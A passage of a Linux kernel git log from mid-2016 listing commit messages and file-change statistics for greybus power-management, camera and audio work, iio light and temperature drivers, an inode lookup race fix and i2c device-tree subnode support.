2016 +0200 staging: iio: isl29028: Prefix #defines and drop unused PROX_DRIVE Signed-off-by: Peter Meerwald-Stadler Signed-off-by: Jonathan Cameron drivers/staging/iio/light/isl29028.c | 62 ++++++++++++++++++------------------ 1 file changed, 31 insertions(+), 31 deletions(-) commit 9219376d04c6e76c8897f49b9d6637a84d969f1f Author: Peter Meerwald-Stadler Date: Tue Jul 5 13:55:40 2016 +0200 staging: iio: isl29018: Prefix remaining functions Signed-off-by: Peter Meerwald-Stadler Signed-off-by: Jonathan Cameron drivers/staging/iio/light/isl29018.c | 34 +++++++++++++++++----------------- 1 file changed, 17 insertions(+), 17 deletions(-) commit 96273f43a87aa94acf25ec61e4db374bd8a660e7 Author: Peter Meerwald-Stadler Date: Tue Jul 5 13:55:39 2016 +0200 staging: iio: isl29018: Cleanup of comments Signed-off-by: Peter Meerwald-Stadler Signed-off-by: Jonathan Cameron drivers/staging/iio/light/isl29018.c | 19 ++++++------------- 1 file changed, 6 insertions(+), 13 deletions(-) commit c833c6926a0af75dec48b6a3974278bef44fd49b Author: Peter Meerwald-Stadler Date: Tue Jul 5 13:55:38 2016 +0200 staging: iio: isl29018: Drop newlines Signed-off-by: Peter Meerwald-Stadler Signed-off-by: Jonathan Cameron drivers/staging/iio/light/isl29018.c | 3 --- 1 file changed, 3 deletions(-) commit ab5b9492c0f43511ada25b3209d5645415858967 Author: Peter Meerwald-Stadler Date: Tue Jul 5 13:55:37 2016 +0200 staging: iio: isl29018: Remove excessive output messages Signed-off-by: Peter Meerwald-Stadler Signed-off-by: Jonathan Cameron drivers/staging/iio/light/isl29018.c | 16 +++------------- 1 file changed, 3 insertions(+), 13 deletions(-) commit 13e6d634c1c26b81a90c9a9cc5c56f95fad5195c Author: Peter Meerwald-Stadler Date: Tue Jul 5 13:55:36 2016 +0200 staging: iio: isl29018: Prefix #defines Signed-off-by: Peter Meerwald-Stadler Signed-off-by: Jonathan Cameron drivers/staging/iio/light/isl29018.c | 61 +++++++++++++++++++----------------- 1 file changed, 32 insertions(+), 29 deletions(-) commit ff34ed6d7889bb83b77dbc9216cd549f40b1bc8c Author: Peter Meerwald-Stadler Date: Tue Jul 5 12:23:21 2016 +0200 iio: light: vcnl4000: Add missing locking Signed-off-by: Peter Meerwald-Stadler Signed-off-by: Jonathan Cameron drivers/iio/light/vcnl4000.c | 18 ++++++++++++++---- 1 file changed, 14 insertions(+), 4 deletions(-) commit 5d6931393f9dbe438a210dd33f186ec156b4d2b8 Author: Peter Meerwald-Stadler Date: Tue Jul 5 12:23:20 2016 +0200 iio: light: vcnl4000: Cleanup read_raw() returns Signed-off-by: Peter Meerwald-Stadler Signed-off-by: Jonathan Cameron drivers/iio/light/vcnl4000.c | 27 +++++++++++---------------- 1 file changed, 11 insertions(+), 16 deletions(-) commit ff6a52590c72e2ff05b3b5ba273fb08e4b9a9a44 Author: Peter Meerwald-Stadler Date: Tue Jul 5 12:23:19 2016 +0200 iio: light: vcnl4000: Use BIT() macro Signed-off-by: Peter Meerwald-Stadler Signed-off-by: Jonathan Cameron drivers/iio/light/vcnl4000.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit d978bfdd0cd5fc31c27b587337f88e32deb768eb Author: Peter Meerwald-Stadler Date: Tue Jul 5 12:23:18 2016 +0200 iio: light: vcnl4000: Mention and check support for VCNL4010 and VCNL4020 VCNL4000, VCNL4010 and VCNL4020 chips are fairly compatible from a software point of view, added features are not yet supported by the driver patch adds a check for the product ID and demotes the corresponding dev_info() to dev_dbg() Signed-off-by: Peter Meerwald-Stadler Signed-off-by: Jonathan Cameron drivers/iio/light/Kconfig | 6 +++--- drivers/iio/light/vcnl4000.c | 19 ++++++++++++++----- 2 files changed, 17 insertions(+), 8 deletions(-) commit 1f25ca11d84a3aa01b2b12a419a1385c2f5513bc Author: Matt Ranostay Date: Mon Jul 4 18:54:04 2016 -0700 iio: temperature: add support for Maxim thermocouple chips Add initial driver support for MAX6675, and MAX31855 thermocouple chips. Cc: Marek Vasut Cc: Matt Porter Signed-off-by: Matt Ranostay Signed-off-by: Jonathan Cameron .../iio/temperature/maxim_thermocouple.txt | 21 ++ drivers/iio/temperature/Kconfig | 14 + drivers/iio/temperature/Makefile | 1 + drivers/iio/temperature/maxim_thermocouple.c | 281 +++++++++++++++++++++ 4 files changed, 317 insertions(+) commit 576bffb5a84f205c9ada777bc201b95cd8c0b868 Author: David Lin Date: Thu Jul 7 22:07:00 2016 -0500 greybus: interface: send deactivate prepare when interface is disabled The AP Interface shall exchange a Greybus Control Interface Deactivate Prepare Operation with the Interface being powered down. Testing Done: - Check for the return code after sending the deactivate prepare operation Signed-off-by: David Lin Reviewed-by: Johan Hovold Signed-off-by: Alex Elder drivers/staging/greybus/interface.c | 3 +++ 1 file changed, 3 insertions(+) commit 707a5c42ce55938de599e4461384efafd6950c37 Author: David Lin Date: Thu Jul 7 22:07:00 2016 -0500 greybus: control: add connection suspend and resume calls Adds function calls for handling control connection suspend and resume, for now all they do is disable and enable control connection. Signed-off-by: David Lin Reviewed-by: Johan Hovold Signed-off-by: Alex Elder drivers/staging/greybus/control.c | 21 +++++++++++++++++++++ drivers/staging/greybus/control.h | 2 ++ 2 files changed, 23 insertions(+) commit cc28c2c2283d5e1b8d2fc0a1cf2bc45783fc7f71 Author: David Lin Date: Thu Jul 7 22:07:00 2016 -0500 greybus: interface: implement unipro link hibernate call Adds AP implementation of unipro link hibernation set power mode call needed for proper cport closure and interface suspend and power off transition. Signed-off-by: David Lin Reviewed-by: Johan Hovold Signed-off-by: Alex Elder drivers/staging/greybus/interface.c | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) commit c7dc28ff2b47d6dc4efd420b6f1325554b6f8287 Author: David Lin Date: Thu Jul 7 22:07:00 2016 -0500 greybus: svc: add power mode call for link hibernation Due to when using set_power_mode to hibernate a link, it won't trigger a POWERMODEIND event, hence the hard-coded GB_SVC_SETPWRM_PWR_OK would be returned and it should also be considered as successful result code for link hibernation. Therefore, adding this set_power_mode_hibernate function to separate the two calls in order to check with the correct result code. Testing Done: - Suspend an Interface and observe no set power mode error. Signed-off-by: David Lin Reviewed-by: Johan Hovold Signed-off-by: Alex Elder drivers/staging/greybus/svc.c | 35 +++++++++++++++++++++++++++++++++++ drivers/staging/greybus/svc.h | 1 + 2 files changed, 36 insertions(+) commit fc8a4027135252b49650a4dbfcf2a8fb434a6e6a Author: David Lin Date: Thu Jul 7 22:07:00 2016 -0500 greybus: svc: add interface resume operation Add the AP implementation for the Greybus SVC Interface Resume Operation. This operation allows the AP to request the SVC to resume an Interface which was previously SUSPENDED, allowing it to later be ENUMERATED. Signed-off-by: David Lin Reviewed-by: Johan Hovold Signed-off-by: Alex Elder drivers/staging/greybus/greybus_protocols.h | 9 +++++++++ drivers/staging/greybus/svc.c | 29 +++++++++++++++++++++++++++++ drivers/staging/greybus/svc.h | 2 ++ 3 files changed, 40 insertions(+) commit 385227fce67959a1ab2094fdc9afb78ac19a0dfe Author: David Lin Date: Thu Jul 7 22:07:00 2016 -0500 greybus: control: add interface hibernate abort operation Add the AP implementation for the Greybus Control Hibernate Abort Operation. AP may use this Operation to abort a previous Control Interface Suspend or Control Interface Deactivate Prepare Operation. Signed-off-by: David Lin Reviewed-by: Johan Hovold Signed-off-by: Alex Elder drivers/staging/greybus/control.c | 24 ++++++++++++++++++++++++ drivers/staging/greybus/control.h | 1 + drivers/staging/greybus/greybus_protocols.h | 1 + 3 files changed, 26 insertions(+) commit 30ea26bdd403396c62d6c9fa26477ca1f7af5676 Author: David Lin Date: Thu Jul 7 22:07:00 2016 -0500 greybus: control: add interface deactivate prepare operation Add the AP implementation for the Greybus Control Interface Deactivate Prepare Operation. AP uses this Operation during the Power Down transition to request the bridge to power down after it detects a subsequent UniPro link hibernation. Signed-off-by: David Lin Reviewed-by: Johan Hovold Signed-off-by: Alex Elder drivers/staging/greybus/control.c | 23 +++++++++++++++++++++++ drivers/staging/greybus/control.h | 1 + drivers/staging/greybus/greybus_protocols.h | 1 + 3 files changed, 25 insertions(+) commit f53be0eaf0603324ea90eb352df0ffa18dde646a Author: David Lin Date: Thu Jul 7 22:07:00 2016 -0500 greybus: control: add interface suspend prepare operation Add the AP implementation for the Greybus Control Interface Suspend Prepare Operation. AP uses this Operation during the Suspend transition to request the Interface to enter a low-power mode after it detects a subsequent UniPro link hibernation. Signed-off-by: David Lin Reviewed-by: Johan Hovold Signed-off-by: Alex Elder drivers/staging/greybus/control.c | 35 +++++++++++++++++++++++++++++ drivers/staging/greybus/control.h | 1 + drivers/staging/greybus/greybus_protocols.h | 15 +++++++++++++ 3 files changed, 51 insertions(+) commit f61908f94a9fc550d4619224263fff16cddcc830 Author: David Lin Date: Thu Jul 7 22:07:00 2016 -0500 greybus: control: add bundle deactivate and activate operation Add the AP implementation for the Greybus Control Bundle Deactivate Operation. This operation requests a Bundle to enter the BUNDLE_OFF state. All Connections associated with the Bundle must be closed prior sending this operation. Add the AP implementation for the Greybus Control Bundle Activate Operation. This operation requests a specific Bundle to transition from the BUNDLE_OFF state to the BUNDLE_ACTIVE state. [elder@linaro.org: fixed a typo pointed out by Johan] Signed-off-by: David Lin Reviewed-by: Johan Hovold Signed-off-by: Alex Elder drivers/staging/greybus/control.c | 50 +++++++++++++++++++++++++++++ drivers/staging/greybus/control.h | 2 ++ drivers/staging/greybus/greybus_protocols.h | 2 ++ 3 files changed, 54 insertions(+) commit 2c8e8841e3b8cea90cc9b7172eebfdf90b06038a Author: David Lin Date: Thu Jul 7 22:07:00 2016 -0500 greybus: control: add bundle suspend and resume preparations Add the AP implementation for the Greybus Control Bundle Suspend Operation. This Operation is used to request a Bundle to enter the BUNDLE_SUSPENDED state, all Connections associated with this Bundle must be closed before issuing this operation. Add the AP implementation for the Greybus Control Bundle Resume Operation. This operation request a specific Bundle to transition from the BUNDLE_SUSPENDED state to the BUNDLE_ACTIVE state. Signed-off-by: David Lin Reviewed-by: Johan Hovold Signed-off-by: Alex Elder drivers/staging/greybus/control.c | 65 +++++++++++++++++++++++++++++ drivers/staging/greybus/control.h | 3 +- drivers/staging/greybus/greybus_protocols.h | 21 ++++++++++ 3 files changed, 88 insertions(+), 1 deletion(-) commit 776165481d8ed956ccb92465f97ba727eed53e4c Author: Fabien Parent Date: Wed Jul 6 10:51:00 2016 -0500 greybus: connection: remove CDSI1 hack This hack is not necessary anymore since the firmware is now able to handle correctly (dis)connect{ed,ing} operations on the CDSI CPort. Testing Done: Checked that I could start the camera app several time and got the preview each time. Signed-off-by: Fabien Parent Reviewed-by: Laurent Pinchart Reviewed-by: Johan Hovold Signed-off-by: Alex Elder drivers/staging/greybus/connection.c | 10 ---------- 1 file changed, 10 deletions(-) commit 6f4219dd7df0b834caad344db05d9d06d71658cd Author: Viresh Kumar Date: Thu Jun 30 10:54:00 2016 -0500 greybus: Documentation: Document Authentication interfaces This patch defined userspace interface of the CAP protocol. Signed-off-by: Viresh Kumar Reviewed-by: Jun Li Tested-by: Jun Li Signed-off-by: Alex Elder .../greybus/Documentation/firmware/authenticate.c | 139 +++++++++++++++++++++ .../Documentation/firmware/firmware-management | 134 +++++++++++++++++++- 2 files changed, 269 insertions(+), 4 deletions(-) commit e3eda54d0b5fef23957cc4f586f4b44fd223c881 Author: Viresh Kumar Date: Thu Jun 30 10:54:00 2016 -0500 greybus: Add Component Authentication Protocol support This patch adds Component Authentication Protocol support in greybus. The purpose of the CAP protocol is to authenticate the Module hardware, and it can only be used when it is present as part of the firmware-management bundle, on a separate CPort. Compile tested only. Signed-off-by: Viresh Kumar Reviewed-by: Jun Li Tested-by: Jun Li Signed-off-by: Alex Elder drivers/staging/greybus/Makefile | 2 +- drivers/staging/greybus/authentication.c | 437 +++++++++++++++++++++++ drivers/staging/greybus/firmware.h | 6 + drivers/staging/greybus/fw-core.c | 51 ++- drivers/staging/greybus/greybus_authentication.h | 120 +++++++ drivers/staging/greybus/greybus_manifest.h | 1 + drivers/staging/greybus/greybus_protocols.h | 37 ++ 7 files changed, 650 insertions(+), 4 deletions(-) commit 80b3982b8d1ca463963b9d2d406098c18add2baf Author: Jacopo Mondi Date: Thu Jun 30 09:18:00 2016 -0500 greybus: camera: Fix size of configure_streams(0) When APB-A CSI-Tx configuration fails, it is necessary to unconfigure the camera module issuesing a 0 stream configuration request. Fix size of request and response to avoid Greybus core complain about Response size differences. Testing Done: Triggering the error condition after APB-A CSI-tx configuration does not make Greybus core complain anymore Signed-off-by: Jacopo Mondi Reviewed-by: Laurent Pinchart Signed-off-by: Alex Elder drivers/staging/greybus/camera.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 36ab1108b60eb649c7c0f0653f854afc1234cfcb Author: Jacopo Mondi Date: Thu Jun 30 09:18:00 2016 -0500 greybus: camera: Fix number of configured streams Camera Module may report a lower number of configured streams than the one requested by the AP. All the non-supported stream configuration are zeroed. Make the stream configuration inspection loop take only the valid stream into account, to avoid unnecessarily accessing zeroed memory areas. So far, inspecting non valid streams configuration has prove to be harmless, but as we'll need to inspect stream characteristics as reported image sizes and format, we have to take only valid configurations into account. Testing Done: White Camera Module preview and capture. Signed-off-by: Jacopo Mondi Reviewed-by: Laurent Pinchart Signed-off-by: Alex Elder drivers/staging/greybus/camera.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 7f93eab7c705527b0579b1bfd4d6e9f6acc9e5ca Author: Jacopo Mondi Date: Thu Jun 30 09:18:00 2016 -0500 greybus: camera: Early update num_streams and flags In configure_streams Operation, when returning from the greybus operation call, we can assign the num_streams and flags variable earlier so that if the following stream configuration inspection fails, the caller receives the right number of configured streams anyway Testing Done: White camera module preview and capture. Triggering failure during stream configuration inspection makes configuration fails, but avoid segfaulting as was previously happening Signed-off-by: Jacopo Mondi Reviewed-by: Laurent Pinchart Signed-off-by: Alex Elder drivers/staging/greybus/camera.c | 13 ++++++------- 1 file changed, 6 insertions(+), 7 deletions(-) commit e65579e335da0a65b5a76a343ddff6a6f3c77dd1 Author: Vaibhav Agarwal Date: Thu Jun 30 18:45:37 2016 +0530 greybus: audio: topology: Enable enumerated control support Added .get/.set callback and relevant changes in parser to enable enumerated control support for kcontrols and DAPM widget controls. Currently, it is limited to enumerated strings only. Signed-off-by: Vaibhav Agarwal Reviewed-by: Mark Greer Signed-off-by: Alex Elder drivers/staging/greybus/audio_topology.c | 358 +++++++++++++++++++++++++++---- 1 file changed, 319 insertions(+), 39 deletions(-) commit d4cd9daa49b2dc46497d40d0251b27d0d685754e Author: Vaibhav Agarwal Date: Tue Jul 5 17:09:20 2016 -0500 greybus: audio: topology: Use csize while computing next_ptr in parser Size of control elements vary in case of enumerated controls. As a preparation to enable enumerated control in topology parser, this patch uses csize while parsing controls & wsize while parsing widgets & its control to update next pointer. Signed-off-by: Vaibhav Agarwal Reviewed-by: Mark Greer Signed-off-by: Alex Elder drivers/staging/greybus/audio_topology.c | 25 +++++++++++++++---------- 1 file changed, 15 insertions(+), 10 deletions(-) commit bb296b48038010dee1c55aa24264f3205ec949fd Author: Vaibhav Agarwal Date: Thu Jun 30 18:45:35 2016 +0530 greybus: added warning message in case of missing widget Additional warning message added to notify in case above layer tries to access widget that is already removed from the list. Signed-off-by: Vaibhav Agarwal Reviewed-by: Mark Greer Signed-off-by: Alex Elder drivers/staging/greybus/audio_topology.c | 2 ++ 1 file changed, 2 insertions(+) commit 0c15a9e0f3f7174718351fcb1c16be944f3b8a57 Author: Vaibhav Agarwal Date: Tue Jul 5 17:09:20 2016 -0500 greybus: audio: topology: Add helper API to map controlid with widget name This API is used by enumerated controls .get/.set callback functions to fetch control id associated with a widget. Signed-off-by: Vaibhav Agarwal Reviewed-by: Mark Greer Signed-off-by: Alex Elder drivers/staging/greybus/audio_codec.h | 1 + drivers/staging/greybus/audio_topology.c | 16 ++++++++++++++++ 2 files changed, 17 insertions(+) commit 2864f301424227d9d3bde6d550bc224a83535b46 Author: Al Viro Date: Sun Jul 3 23:15:21 2016 -0400 iget_locked et.al.: make sure we don't return bad inodes If one thread does iget_locked(), proceeds to try and set the new inode up and fails, inode will be unhashed and dropped. However, another thread doing ilookup/iget_locked in the middle of that would end up finding a half-set-up inode, grabbing a reference, waiting for it to come unlocked and getting the resulting bad inode. It's a race (if that ilookup had been called just after the failure of setup attempt it wouldn't have found the sucker at all), particularly unpleasant in cases when failure is transient/caller-dependent/etc. While it can be dealt with in the callers, there's no reason not to handle it in fs/inode.c primitives, especially since the cost is trivial. Signed-off-by: Al Viro fs/inode.c | 41 ++++++++++++++++++++++++++++++++++------- 1 file changed, 34 insertions(+), 7 deletions(-) commit 7e4c224abfe8e2a00f56a2ef0198e6de3ca1852c Author: Jon Hunter Date: Wed Jun 29 10:17:53 2016 +0100 i2c: core: Add support for 'i2c-bus' subnode If the 'i2c-bus' device-tree node is present for an I2C adapter then parse this subnode for I2C slaves. Signed-off-by: Jon Hunter Acked-by: Wolfram Sang Signed-off-by: Thierry Reding drivers/i2c/i2c-core.c | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) commit 98b00488459e9d27d8e42b6d241f309f26ffde07 Author: Jon Hunter Date: Wed Jun 29 10:17:52 2016 +0100 dt-bindings: i2c: Add support for 'i2c-bus' subnode The I2C driver core for boards using device-tree assumes any subnode of an I2C adapter in the device-tree blob is an I2C slave device. Although this makes complete sense, some I2C adapters may have subnodes which are not I2C slaves but subnodes presenting other features. For example some Tegra devices have an I2C interface which may share its pins with other devices. In order to share these pins using the pinctrl framework, it is necessary to add subnodes to the I2C device node that represent these pins. To allow I2C adapters to have non-I2C specific subnodes in device-tree that are not parsed by the I2C driver core, add support for an optional 'i2c-bus' subnode where I2C slaves can be placed. If the 'i2c-bus' subnode is present then all I2C slaves must be placed under this subnode. Signed-off-by: Jon Hunter Acked-by: Thierry Reding Acked-by: Rob Herring Acked-by: Wolfram Sang Signed-off-by: Thierry Reding Documentation/devicetree/bindings/i2c/i2c.txt | 8 ++++++++ 1 file changed, 8 insertions(+) commit 957ccca08a990888e2a8f057dee646b8f37b1660 Author: Viresh Kumar Date: Wed Jun 29 13:42:26 2016 -0700 greybus: light: Initialize mutex before using it Light protocol driver is suffering from the same issue that was fixed in camera driver earlier (commit a7c3b0c3c8da). Big cleanup function is used instead of fine grained control in the error path, and in one of the cases the mutex was found uninitialized and so the oops seen in SW-6752. Initialize the mutex before any code can access it. Compile tested only. Signed-off-by: Viresh Kumar Reviewed-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/light.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 2aae92bdc25325cfd782cc76842a4302540958f2 Author: Johan Hovold Date: Mon Jun 27 20:07:12 2016 +0200 greybus: Revert "greybus: uart: don't use spin_lock_irq()" This reverts commit bd3c4aa99dc23449699432e0744bcb5af7afa98c. Someone decided that all use of spin_lock_irq was to be considered a bug and went on a search-and-replace type "bug-fixing" spree last week. This is however just plain wrong. Using spin_lock_irq is perfectly fine in paths were interrupts have not been disabled, and this is in fact even preferred over the lazy approach of always using spin_lock_irqsave instead of understanding the code that is being written or modified. All current uses of spin_lock_irq have already been vetted in this respect. Also note that it is only used in functions that may sleep, that is, in functions that must not be called with interrupts disabled in the first place. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/uart.c | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) commit 07af934094ed7d79442dcec82305001e3a66ad6c Author: Johan Hovold Date: Mon Jun 27 20:07:11 2016 +0200 greybus: Revert "greybus: es2.c: don't use spin_lock_irq()" This reverts commit b44c3b5b0307788750eb4c462ed5982236876a8b. Someone decided that all use of spin_lock_irq was to be considered a bug and went on a search-and-replace type "bug-fixing" spree last week. This is however just plain wrong. Using spin_lock_irq is perfectly fine in paths were interrupts have not been disabled, and this is in fact even preferred over the lazy approach of always using spin_lock_irqsave instead of understanding the code that is being written or modified. All current uses of spin_lock_irq have already been vetted in this respect. Also note that it is only used in functions that may sleep, that is, in functions that must not be called with interrupts disabled in the first place. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) commit 0b1d262354214daab1a3b7df763dc51c355ec353 Author: Johan Hovold Date: Mon Jun 27 20:07:10 2016 +0200 greybus: Revert "greybus: gb_connections_lock: don't use spin_lock_irq()" This reverts commit b022fd95108e8b9d202532a74d39e86152bc8f7f. Someone decided that all use of spin_lock_irq was to be considered a bug and went on a search-and-replace type "bug-fixing" spree last week. This is however just plain wrong. Using spin_lock_irq is perfectly fine in paths were interrupts have not been disabled, and this is in fact even preferred over the lazy approach of always using spin_lock_irqsave instead of understanding the code that is being written or modified. All current uses of spin_lock_irq have already been vetted in this respect. Also note that it is only used in functions that may sleep, that is, in functions that must not be called with interrupts disabled in the first place. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 11 ++++------- 1 file changed, 4 insertions(+), 7 deletions(-) commit a29bac623f015045385411eb9b3eced95aa96686 Author: Johan Hovold Date: Mon Jun 27 20:07:09 2016 +0200 greybus: Revert "connection: switch to using spin_lock_irqsave/spin_lock_irqrestore excluisvely" This reverts commit 426237c515b42b9f06d9a2b1021a6d2c4d440c51. Someone decided that all use of spin_lock_irq was to be considered a bug and went on a search-and-replace type "bug-fixing" spree last week. This is however just plain wrong. Using spin_lock_irq is perfectly fine in paths were interrupts have not been disabled, and this is in fact even preferred over the lazy approach of always using spin_lock_irqsave instead of understanding the code that is being written or modified. All current uses of spin_lock_irq have already been vetted in this respect. Also note that it is only used in functions that may sleep, that is, in functions that must not be called with interrupts disabled in the first place. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 53 ++++++++++++++++-------------------- 1 file changed, 23 insertions(+), 30 deletions(-) commit 8a5043b68320aa880d46744ab40915bee8939882 Author: Max Filippov Date: Wed Jun 29 04:18:45 2016 +0300 xtensa: define ___unlock_[di]cache_all unconditionally Provide macro definitions regardless of whether caches are lockable or not, make definitions empty in latter case. Signed-off-by: Max Filippov arch/xtensa/include/asm/cacheasm.h | 11 ++++------- 1 file changed, 4 insertions(+), 7 deletions(-) commit 1beb1fae808d82a409b1c6ad4575f890b946f0ca Author: Sandeep Patil Date: Tue Jun 28 12:10:14 2016 -0700 greybus: svc: remove input device handling in SVC protocol The input device was added before to handle the key(s) connected directly to SVC, which is not the case anymore. So, this change removes the gb_svc_key_event() operation and the corresponding input device code with it. Testing Done: Boot tested and tried module insert/removal through AraManager Change-Id: Iaa541d4aefb5c0ed16caaa39450029de35d7c228 Signed-off-by: Sandeep Patil Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 104 +----------------------------------------- drivers/staging/greybus/svc.h | 2 - 2 files changed, 2 insertions(+), 104 deletions(-) commit 0ef5be18852d0b044f916fd6194bb228f36e392a Author: Viresh Kumar Date: Mon Jun 27 11:19:23 2016 +0530 greybus: kernel_ver: Add kstrtobool() It was added in 4.6 and is required for one of the use case, copy it. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/kernel_ver.h | 48 ++++++++++++++++++++++++++++++++++++ 1 file changed, 48 insertions(+) commit 74ec7598b51fb347a1273f8deea42883ae725e6e Author: Johan Hovold Date: Wed Jun 22 11:42:05 2016 +0200 greybus: es2: add support for greybus cport flags Add support for Greybus CPort flags that are sent to the bridge through a new USB vendor request when enabling a CPort as part of connection establishment. Currently the Greybus control and high-priority connection flags are recognised and forwarded to APBA. Reviewed-by: Alex Elder Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 42 +++++++++++++++++++++++++++++ drivers/staging/greybus/greybus_protocols.h | 10 +++++++ 2 files changed, 52 insertions(+) commit 3094f9477301ec477fed2a43fef68c43e70e72ce Author: Johan Hovold Date: Wed Jun 22 11:42:04 2016 +0200 greybus: connection: add support for high-priority connections Add connection flag to indicate that a connection has high priority. For the SVC and control connections this may be used by the host-device driver as a hint to allocate dedicated DMA channels or to use polling to avoid message congestion. We also allow drivers to set this flag on their connections, even though we currently have no use case for this (and the host-device driver is again free to ignore it). Note that this mechanism can be used to indicate also high-bandwidth connections (e.g. wanting larger buffers or dedicated endpoints), but that that should be done using a separate high-bandwidth flag rather than overloading the high-priority flag. Reviewed-by: Alex Elder Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 5 +++-- drivers/staging/greybus/connection.h | 1 + 2 files changed, 4 insertions(+), 2 deletions(-) commit 1ba30c33096ced9d5c5814acdc46f53f3864f4e6 Author: Johan Hovold Date: Wed Jun 22 11:42:03 2016 +0200 greybus: connection: prevent drivers from specifying core flags Prevent drivers from specifying core flags (currently only GB_CONNECTION_FLAG_CONTROL) when creating connections. Reviewed-by: Alex Elder Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 8 ++++---- drivers/staging/greybus/connection.h | 2 ++ 2 files changed, 6 insertions(+), 4 deletions(-) commit 6910fa2dd6dc0d81c6ec4a2f36d6e21bd27b4479 Author: Johan Hovold Date: Wed Jun 22 11:42:02 2016 +0200 greybus: hd: add flag argument to cport_enable callback Add a flag argument to the host-device cport_enable callback that can be used to provide hints about the connection being created (e.g. connection priority). Reviewed-by: Alex Elder Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 3 ++- drivers/staging/greybus/hd.h | 3 ++- 2 files changed, 4 insertions(+), 2 deletions(-) commit caad3090ab37d47e21505b613ad611ad6d20358d Author: Evgeniy Borisov Date: Thu Jun 23 12:39:18 2016 +0300 greybus: camera: Add RAW data format Add support for greybus RAW data format. Greybus RAW data formats starts from 0x80. Signed-off-by: Evgeniy Borisov Reviewed-by: Laurent Pinchart Reviewed-by: Gjorgji Rosikopulos Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/camera.c | 32 ++++++++++++++++++++++++++++++++ 1 file changed, 32 insertions(+) commit 9e138dd479cb1f924a3d78e13e6ba5668db73acc Author: David Lin Date: Fri Jun 24 13:52:43 2016 -0700 greybus: audio: remove the unnecessary return statement The return statement immediately after the BUG_ON of the gbcodec_write() call is added by mistake. It's not causing any errors right now due to that gbcodec_reg is currently not being used. Testing Done: - Audio playback on EVT2 Signed-off-by: David Lin Reviewed-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_codec.c | 1 - 1 file changed, 1 deletion(-) commit 2d466c23c64f7556d0a184a1f02b2c8a23edaf5e Author: Jeffrey Carlyle Date: Fri Jun 24 08:58:56 2016 +0530 greybus: connection: switch to using spin_lock_irqsave/spin_lock_irqrestore excluisvely We know that it is a bad idea to explicitly enable IRQs when we don't don't know if they were already off before we disabled, so switch to the save _irqsave and _irqrestore functions. Ultimately, we need to review places in the Greybus drivers where IRQs are disabled and remove unnecessary instances. This is only an interim step. This code will never run from hard irq context, as it is already taking mutex in the path. Testing done: booted EVT2.0, ran suspend/resume test app with a period of 20s for a few dozen cycles. Signed-off-by: Viresh Kumar Signed-off-by: Jeffrey Carlyle Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 53 ++++++++++++++++++++---------------- 1 file changed, 30 insertions(+), 23 deletions(-) commit 326f98ac3168cf415f4e1681b3684614bcd79fd3 Author: Viresh Kumar Date: Wed Jun 22 14:46:41 2016 +0530 greybus: bootrom: Wait for 10 seconds for mode-switch The greybus SVC core handles events from the SVC serially today. In some cases the SVC operations may take too long, for example trying to activate a dummy interface. If another interface receives a mode-switch mailbox event in that time, the SVC core wouldn't be able to process it in quickly enough and bootrom driver will print following error: bootrom 1-3.3.1: Timed out waiting for Interface Mode Switch from the Module This can be reproduced easily by attaching a 2x2 module along with any other normal module like camera or speaker, and doing a unipro_reset from userspace. The logs suggest this time to be around 6-7 seconds in most of the cases. Attaching multiple modules with dummy interfaces may make this worst. Lets increase the timeout from 5 to 10 seconds for now, also add a FIXME for the same. Testing Done: Tested on EVT 2.0 with camera and a 2x2 module. Signed-off-by: Viresh Kumar Tested-by: Bryan O'Donoghue Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/bootrom.c | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) commit dbb8cfeba9cc22e091eaec3dfa34ae4c7dc4d241 Author: Viresh Kumar Date: Wed Jun 22 14:46:40 2016 +0530 greybus: bootrom: send timeout in milliseconds to gb_bootrom_set_timeout() Rename NEXT_REQ_TIMEOUT_J to NEXT_REQ_TIMEOUT_MS and store the timeout in milliseconds instead of jiffies. Suggested-by: Alex Elder Signed-off-by: Viresh Kumar Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/bootrom.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) commit a4293e1d4e6416477976ee3bd248589d3fc4bb19 Author: Viresh Kumar Date: Wed Jun 22 14:46:39 2016 +0530 greybus: bootrom: Enhance timeout error message The timeout message is very generic today and there are several requests we can be timing out waiting for. Update bootrom driver to also track the next expected request and enhance the error message based on that to confirm the request we timed out waiting for. Signed-off-by: Viresh Kumar Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/bootrom.c | 54 +++++++++++++++++++++++++++++++++++---- 1 file changed, 49 insertions(+), 5 deletions(-) commit fd6d6f61d83c8217a052ba494f5b44abcec7ff43 Author: Bryan O'Donoghue Date: Wed Jun 22 14:58:44 2016 +0100 greybus: timesync: Make printout consitent with other greybus messages The current printout on a TimeSync 